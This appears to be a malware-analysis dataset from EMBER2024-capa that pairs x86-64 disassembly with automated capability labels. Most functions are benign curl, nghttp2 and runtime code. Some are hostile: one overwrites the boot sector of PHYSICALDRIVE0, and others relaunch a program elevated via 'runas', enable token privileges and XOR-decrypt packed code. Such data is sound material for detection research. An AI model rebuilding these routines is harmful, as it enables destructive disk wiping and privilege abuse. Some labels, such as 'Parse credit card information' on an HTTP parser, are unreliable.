joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140198670
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, 8
lea r8, [0x14027ed00]
mov rax, rcx
mov rcx, rax
movzx eax, al
mov eax, dword [r8 + rax*4]
shr rcx, 8
xor rax, rcx
dec edx
jne 0x14019867f
ret

Function at 0x14019a320
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
mov ebx, 1
xor r12d, r12d
mov rsi, rcx
mov rax, qword [0x14027abf0]
mov rcx, r12
mov edx, ebx
mov r13, r12
call qword [rax]
mov r12, rax
test rax, rax
jne 0x14019a35c
mov rax, qword [0x14027abd0]
mov rcx, r13
call qword [rax]
jmp 0x14019a391
mov rdx, rax
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
lea edx, [rax - 1]
cmp edx, 0x7fff
ja 0x14019a37a
cmp ebx, eax
jne 0x14019a38b
mov rax, qword [0x14027abd0]
mov rcx, r12
xor r12d, r12d
call qword [rax]
jmp 0x14019a391
ja 0x14019a391
mov ebx, eax
jmp 0x14019a335
mov rax, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret

Function at 0x14019d960
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x38
xor eax, eax
test edx, edx
lea r8, [rsp + 0x2c]
mov edx, 0x8004667e
setne al
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x38
ret

Function at 0x14019d990
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sym.read
cdqe
add rsp, 0x28
ret
Function at 0x1401a0150
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rbx
xor r10d, r10d
lea rbx, [0x14027c900]
mov rax, qword [r9 + 0xa8]
cmp qword [r9 + 0xa0], rax
jae 0x1401a0252
cmp qword [r9 + 0x98], 0x48
jbe 0x1401a01b1
cmp rdx, 1
ja 0x1401a0195
test r10, r10
jne 0x1401a0317
mov r10, 0xfffffffffffffffe
jmp 0x1401a0317
mov word [rcx], 0xa0d
add r10, 2
sub rdx, 2
add rcx, 2
mov qword [r9 + 0x98], 0
cmp rdx, 3
jbe 0x1401a0180
mov r11, qword [r9 + 0xa0]
mov rax, qword [r9 + 0xa8]
sub rax, r11
cmp rax, 2
jbe 0x1401a0266
add r10, 4
sub rdx, 4
add rcx, 4
movsx eax, byte [r9 + r11 + 0xb0]
movzx esi, byte [r9 + r11 + 0xb1]
shl eax, 8
movzx eax, ax
or eax, esi
lea rsi, [r11 + 3]
mov qword [r9 + 0xa0], rsi
shl eax, 8
movzx r11d, byte [r9 + r11 + 0xb2]
mov esi, eax
or r11d, eax
shr eax, 0xc
and eax, 0x3f
shr esi, 0x12
mov al, byte [rbx + rax]
mov sil, byte [rbx + rsi]
mov byte [rcx - 3], al
mov eax, r11d
and r11d, 0x3f
sar eax, 6
mov byte [rcx - 4], sil
and eax, 0x3f
mov al, byte [rbx + rax]
mov byte [rcx - 2], al
mov al, byte [rbx + r11]
mov byte [rcx - 1], al
add qword [r9 + 0x98], 4
jmp 0x1401a015c
test r8b, r8b
je 0x1401a0317
cmp rdx, 3
ja 0x1401a026f
jmp 0x1401a0180
test r8b, r8b
je 0x1401a0317
mov word [rcx + 2], 0x3d3d
mov rax, qword [r9 + 0xa8]
mov rdx, qword [r9 + 0xa0]
cmp rax, rdx
je 0x1401a0317
sub rax, rdx
mov r8, rax
xor eax, eax
cmp r8, 2
jne 0x1401a02a9
movsx eax, byte [r9 + rdx + 0xb1]
shl eax, 8
movzx eax, ax
movsx edx, byte [r9 + rdx + 0xb0]
lea r8, [0x14027c900]
shl edx, 0x10
and edx, 0xff0000
or eax, edx
shr edx, 0x12
mov dl, byte [r8 + rdx]
mov byte [rcx], dl
mov edx, eax
sar edx, 0xc
and edx, 0x3f
mov dl, byte [r8 + rdx]
mov byte [rcx + 1], dl
mov rbx, qword [r9 + 0xa0]
lea rdx, [rbx + 1]
mov qword [r9 + 0xa0], rdx
cmp rdx, qword [r9 + 0xa8]
je 0x1401a030b
sar eax, 6
and eax, 0x3c
mov al, byte [r8 + rax]
mov byte [rcx + 2], al
inc qword [r9 + 0xa0]
add qword [r9 + 0x98], 4
add r10, 4
mov rax, r10
pop rbx
pop rsi
ret
Function at 0x1401a2ba0
Capabilities:
Send data
Send data on socket

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x30
lea r8, [0x140272a60]
mov edx, 0xc
mov r9d, dword [rcx + 0x84]
mov r14, qword [rcx + 0xe8]
lea r13, [rsp + 0x24]
mov r12, rcx
mov rcx, r13
call sym.curl_msnprintf
mov rcx, qword [r12 + 0x88]
lea r9, [r12 + 0xb0]
mov rdx, r13
lea r8, [r12 + 0xb8]
call sym.Curl_getaddrinfo_ex
mov ebx, eax
test eax, eax
je 0x1401a2c27
mov rsi, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rsi
test eax, eax
je 0x1401a2c11
call rsi
mov ebx, eax
test eax, eax
je 0x1401a2c1b
mov dword [r12 + 0xa8], ebx
jmp 0x1401a2c27
mov dword [r12 + 0xa8], 8
mov rcx, qword [r12 + 0x78]
call qword [sym.imp.kernel32.dll_EnterCriticalSection]
mov rbx, qword [sym.imp.kernel32.dll_LeaveCriticalSection]
cmp dword [r12 + 0x80], 0
je 0x1401a2c61
mov rcx, qword [r12 + 0x78]
call rbx
mov rcx, r12
call sym.destroy_thread_sync_data
mov rax, qword [0x14027abd0]
mov rcx, r14
call qword [rax]
jmp 0x1401a2cad
mov rcx, qword [r12 + 0xa0]
cmp rcx, 0xffffffffffffffff
je 0x1401a2c9a
xor r9d, r9d
mov byte [rsp + 0x23], 1
lea rdx, [rsp + 0x23]
mov r8d, 1
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1401a2c9a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [r12 + 0xa8], eax
mov dword [r12 + 0x80], 1
mov rcx, qword [r12 + 0x78]
call rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
Function at 0x1401a9f50
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x30
mov r12, rcx
mov r13, rdx
mov rbx, r9
test r8, r8
je 0x1401a9faf
cmp qword [r9 + 0x40], 0
je 0x1401a9f86
mov r9, qword [rbx + 0x40]
mov rdx, r13
mov rcx, r12
add rsp, 0x30
pop rbx
pop r12
pop r13
jmp sym.fread
mov rcx, qword [r9 + 0x18]
lea rdx, [0x14026a655]
mov qword [rsp + 0x28], r8
call sym.curlx_win32_fopen
mov r8, qword [rsp + 0x28]
test rax, rax
mov qword [rbx + 0x40], rax
jne 0x1401a9f6e
or rax, 0xffffffffffffffff
jmp 0x1401a9fb6
mov rax, 0xfffffffffffffffe
add rsp, 0x30
pop rbx
pop r12
pop r13
ret

Function at 0x1401ad4c0
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push rbx
sub rsp, 0x30
xor r8d, r8d
mov r9d, 0x18
xor edx, edx
mov dword [rsp + 0x20], 0xf0000040
mov rbx, rcx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov r8d, eax
mov eax, 0x1b
test r8d, r8d
je 0x1401ad52c
lea rax, [rbx + 8]
xor r8d, r8d
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov r8d, eax
xor eax, eax
test r8d, r8d
jne 0x1401ad52c
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov qword [rbx], 0
mov eax, 2
add rsp, 0x30
pop rbx
ret
Function at 0x1401ba640
Capabilities:
Receive data
Receive data on socket

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x140
mov rax, qword [rcx]
mov r13, qword [rax + 0x10]
mov rbx, rcx
mov dword [r9], 0
mov r12, r8
mov rsi, r9
mov rcx, qword [r13 + 0x98]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd r14, eax
mov rdi, r14
cmp r14d, 0xffffffff
jne 0x1401ba6d0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
cmp eax, 0x2733
jne 0x1401ba69b
mov dword [rsi], 0x51
jmp 0x1401ba6d0
lea rdx, [rsp + 0x40]
mov r8d, 0x100
mov ecx, eax
call sym.Curl_strerror
mov rcx, qword [rbx + 8]
lea rdx, str.Recv_failure:__s
mov r8, rax
call sym.Curl_failf
mov rax, qword [rbx + 8]
mov dword [rax + 0xbb4], ebp
mov dword [rsi], 0x38
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1401ba72a
test byte [rcx + 0x986], 0x20
je 0x1401ba72a
mov rax, qword [rcx + 0x1120]
test rax, rax
je 0x1401ba6f4
cmp dword [rax + 8], 0
jle 0x1401ba72a
mov rdx, qword [rbx]
test rdx, rdx
je 0x1401ba72a
mov rax, qword [rdx]
cmp dword [rax + 0xc], 0
jle 0x1401ba72a
mov eax, dword [rsi]
mov dword [rsp + 0x28], edi
mov r9, r12
lea r8, str.nw_in_read_len_zu__fd_zd______d__err_d
mov dword [rsp + 0x30], eax
mov rax, qword [r13 + 0x98]
mov qword [rsp + 0x20], rax
call sym.Curl_trc_cf_infof
mov rax, r14
add rsp, 0x140
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1401c09b0
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x48
mov r8d, 0x1008
mov edx, 0xffff
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x50], rcx
lea r9, [rsp + 0x38]
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x1401c0a00
cmp dword [rsp + 0x38], 1
mov rcx, qword [rsp + 0x50]
jne 0x1401c0a00
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_send]
nop
add rsp, 0x48
ret
Function at 0x1401c2b90
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rcx, rdx
mov rdx, r8
jmp sym.Curl_win32_random

Function at 0x1401c3690
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
xor eax, eax
mov rdi, r8
mov r12, rcx
mov rcx, r9
mov dword [rsp + 0x3c], r9d
rep stosb byte [rdi], al
mov rsi, rdx
mov rbp, r8
mov rbx, r9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
mov r9d, 0x18
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x38], 4
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1401c37a9
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1401c3787
xor r9d, r9d
mov rcx, qword [rsp + 0x48]
mov r8d, esi
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1401c3787
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x34]
mov dword [rsp + 0x20], 0
mov rsi, qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edx, 4
call rsi
test eax, eax
je 0x1401c3787
mov eax, dword [rsp + 0x34]
cmp rbx, rax
jb 0x1401c3787
mov dword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x3c]
mov r8, rbp
mov edx, 2
call rsi
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1401c3797
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1401c37a9
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1401c51b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push r13
push r12
push rdi
push rbx
sub rsp, 0x1c8
mov r9, qword [rcx + 0x98]
mov rbx, rcx
mov r12, rdx
cmp r9, 0xffffffffffffffff
je 0x1401c52a3
mov rax, qword [rdx + 0x20]
mov rax, qword [rax + 0x348]
mov eax, dword [rax + 0x8c]
and eax, 0x800
jne 0x1401c52a3
lea r13, [rsp + 0x40]
mov ecx, 0x20
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x3c], pe_nt_image_headers64
mov rdi, r13
mov rdx, r13
rep stosd dword [rdi], eax
mov rcx, r9
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1401c5248
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0xc0]
mov r8d, 0x100
mov ecx, eax
mov ebx, eax
call sym.Curl_strerror
mov r8d, ebx
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r9, rax
jmp 0x1401c529a
mov edx, dword [rsp + 0x3c]
lea r9, [rbx + 0x140]
lea r8, [rbx + 0x10e]
mov rcx, r13
call sym.Curl_addr2string
test al, al
jne 0x1401c52a3
mov rbx, qword [sym.imp.msvcrt.dll__errno]
call rbx
lea rdx, [rsp + 0xc0]
mov r8d, 0x100
mov ecx, dword [rax]
call sym.Curl_strerror
mov qword [rsp + 0x28], rax
call rbx
mov r9, qword [rsp + 0x28]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r8d, dword [rax]
mov rcx, r12
call sym.Curl_failf
nop
add rsp, 0x1c8
pop rbx
pop rdi
pop r12
pop r13
ret
Function at 0x1401c59c0
Capabilities:
Parse credit card information

Disassembly:
push r14
push r13
push r12
sub rsp, 0x20
mov eax, dword [rcx + 0x10]
and eax, 3
mov r12, rcx
mov r14, rdx
mov r13, r8
cmp eax, 1
je 0x1401c59f4
cmp eax, 2
je 0x1401c5a25
test eax, eax
jne 0x1401c5a06
call sym.parser_skip_inner_list
test eax, eax
jne 0x1401c5ab8
mov eax, dword [r12 + 0x10]
and eax, 0xfffffffc
or eax, 2
mov dword [r12 + 0x10], eax
jmp 0x1401c5a25
mov r8d, 0x283
lea rdx, str.nghttp2_lib_sfparse.c
lea rcx, [0x140279d27]
call qword [sym.imp.msvcrt.dll__assert]
call sym.abort
mov rax, qword [r12]
cmp rax, qword [r12 + 8]
je 0x1401c5a35
cmp byte [rax], 0x3b
je 0x1401c5a42
or dword [r12 + 0x10], 3
mov eax, 0xfffffffe
jmp 0x1401c5ab8
inc rax
mov rcx, r12
mov qword [r12], rax
call sym.parser_discard_sp
mov rax, qword [r12 + 8]
cmp qword [r12], rax
jne 0x1401c5a61
or eax, 0xffffffff
jmp 0x1401c5ab8
mov rdx, r14
call sym.parser_key
test eax, eax
jne 0x1401c5ab8
mov rdx, qword [r12]
mov rcx, qword [r12 + 8]
cmp rdx, rcx
je 0x1401c5a80
cmp byte [rdx], 0x3d
je 0x1401c5a97
test r13, r13
je 0x1401c5ab8
mov qword [r13], 0
mov dword [r13 + 8], 1
jmp 0x1401c5ab8
inc rdx
mov qword [r12], rdx
cmp rdx, rcx
je 0x1401c5a5c
mov rdx, r13
mov rcx, r12
add rsp, 0x20
pop r12
pop r13
pop r14
jmp sym.parser_bare_item
add rsp, 0x20
pop r12
pop r13
pop r14
ret

Function at 0x1401c8850
Capabilities:
Set socket configuration

Disassembly:
push r12
sub rsp, 0x140
mov r8d, 1
mov r12, rcx
mov dword [rsp + 0x3c], 1
mov rcx, rdx
lea r9, [rsp + 0x3c]
mov dword [rsp + 0x20], 4
mov edx, 6
call qword [sym.imp.WS2_32.dll_setsockopt]
test r12, r12
je 0x1401c88d7
test eax, eax
jns 0x1401c88d7
test byte [r12 + 0x986], 0x20
je 0x1401c88d7
mov rax, qword [r12 + 0x1120]
test rax, rax
je 0x1401c88ac
cmp dword [rax + 8], 0
jle 0x1401c88d7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0x40]
mov r8d, 0x100
mov ecx, eax
call sym.Curl_strerror
lea rdx, str.Could_not_set_TCP_NODELAY:__s
mov rcx, r12
mov r8, rax
call sym.Curl_infof
nop
add rsp, 0x140
pop r12
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140e68508
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e68512
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e6853b
pop rbp
sub rbp, 0x33
sub rbp, 0xe68508
sub rsp, 0x20
jmp 0x140e6855a
mov rax, 0xe68508
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x72f5ae2b
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e68579
jmp 0x140e68590
invalid
Function at 0x1400015e0
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov eax, 0x500
mov r9d, 0x220
mov edx, 2
mov r8d, 0x20
mov word [rsp + 0x76], ax
lea rax, [rsp + 0x78]
lea rcx, [rsp + 0x72]
mov dword [rsp + 0x72], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
jne 0x140001668
cmp eax, 1
sete al
add rsp, 0x88
ret
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
cmp eax, 1
sete al
add rsp, 0x88
ret

Function at 0x1400016a0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x90
xor eax, eax
lea rdx, [rsp + 0x28]
mov r9, rcx
mov ecx, 0xd
mov rdi, rdx
lea r8, [rsp + 0x20]
rep stosq qword [rdi], rax
lea rax, str.runas
mov qword [rsp + 0x38], r9
mov rcx, r8
mov qword [rsp + 0x30], rax
movabs rax, 0x800000000070
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], 0xa
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
nop
add rsp, 0x90
pop rdi
ret
Function at 0x1400017e0
Capabilities:
Print debug messages

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x90
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov r13, rcx
mov esi, edx
call rbx
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov r12, rax
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001870
xor r13d, r13d
test r12, r12
je 0x140001847
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001857
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r13d
add rsp, 0x90
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret
xor ecx, ecx
lea r8, [rsp + 0x38]
mov rdx, r13
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140001836
mov rax, qword [rsp + 0x38]
cmp esi, 1
mov dword [rsp + 0x40], 1
mov r9d, 0x10
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x44], rax
mov eax, 1
mov qword [rsp + 0x20], 0
sbb eax, 0xffffffff
xor edx, edx
mov dword [rsp + 0x4c], eax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov r13d, eax
test eax, eax
je 0x140001900
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
je 0x140001978
lea rcx, str.Set_OK
mov r13d, 1
call rbx
jmp 0x140001839
mov qword [rsp + 0x50], 0
lea r14, [rsp + 0x50]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
lea rdx, str.AdjustTokenPrivileges_error:__u_n
mov r8d, eax
call fcn.14001c4e0
mov rcx, r14
call rbx
jmp 0x140001839
lea rcx, str.The_token_does_not_have_the_specified_privilege.__n
call rbx
jmp 0x140001836
Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x290
xor eax, eax
mov ecx, 0x40
xor r9d, r9d
movabs r10, 0x616c6c6174736e49
mov r8d, 3
movabs r11, 0x696146206e6f6974
movabs rdx, 0xcbb1301b80018b9
movabs rbx, 0xfee210cd0e1dba00
movabs rsi, 0x2073776f646e6957
lea r13, [rsp + 0x90]
mov qword [rsp + 0x70], r10
mov rdi, r13
mov qword [rsp + 0x78], r11
rep stosq qword [rdi], rax
mov qword [rsp + 0x58], rdx
movabs rax, 0x7c18bd10cd0012b8
lea rcx, str..PHYSICALDRIVE0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x90], rax
mov eax, 0xffffaa55
mov qword [rsp + 0xb0], r10
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x98], rdx
mov edx, 0xc0000000
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
lea rsi, [rsp + 0x4c]
mov dword [rsp + 0x80], 0x2164656c
mov byte [rsp + 0x84], 0
mov dword [rsp + 0xc0], 0x2164656c
mov word [rsp + 0x28e], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov r12, rax
mov edx, 0x90018
mov rcx, rax
mov rbx, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rbx
lea r9, [rsp + 0x48]
mov rdx, r13
mov rcx, r12
mov qword [rsp + 0x20], 0
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9001c
mov rcx, r12
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x290
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
Function at 0x140001fc0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x260
lea rsi, [rsp + 0x20]
mov rdx, rcx
mov rcx, rsi
call sub.msvcrt.dll_strcpy
mov edx, 0x104
mov rcx, rsi
mov rdi, qword [sym.imp.USER32.dll_CharLowerBuffA]
call rdi
xor edx, edx
mov ecx, 2
mov dword [rsp + 0x130], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1400020a0
lea rbp, [rsp + 0x130]
mov rcx, rax
mov rdx, rbp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140002080
lea rbx, [rsp + 0x15c]
jmp 0x140002047
mov rdx, rbp
mov rcx, r12
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002080
mov edx, 0x104
mov rcx, rbx
call rdi
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140002038
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, str.CreateToolhelp32Snapshot____n
call fcn.14001c490
xor eax, eax
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14000c030
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400164d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400164d0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000c0a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400e70b4]
mov r12, rcx
test ebx, ebx
jle 0x14000c1d0
mov rax, qword [0x1400e70b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000c0ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000c173
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000c0d0
mov rcx, r12
call fcn.14000ca40
mov rsi, rax
test rax, rax
je 0x14000c1f2
mov rax, qword [0x1400e70b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000cb70
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e70b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000c1d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000c16c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000c180
add dword [0x1400e70b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400e70b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000c16c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000c030
nop dword [rax]
xor ebx, ebx
jmp 0x14000c0f7
mov rax, qword [0x1400e70b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000c030
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000c030
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c6b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400e7120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e7100]
test rbx, rbx
je 0x14000c704
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000c6fb
test r12, r12
je 0x14000c6fb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c6e0
lea rcx, [0x1400e7120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]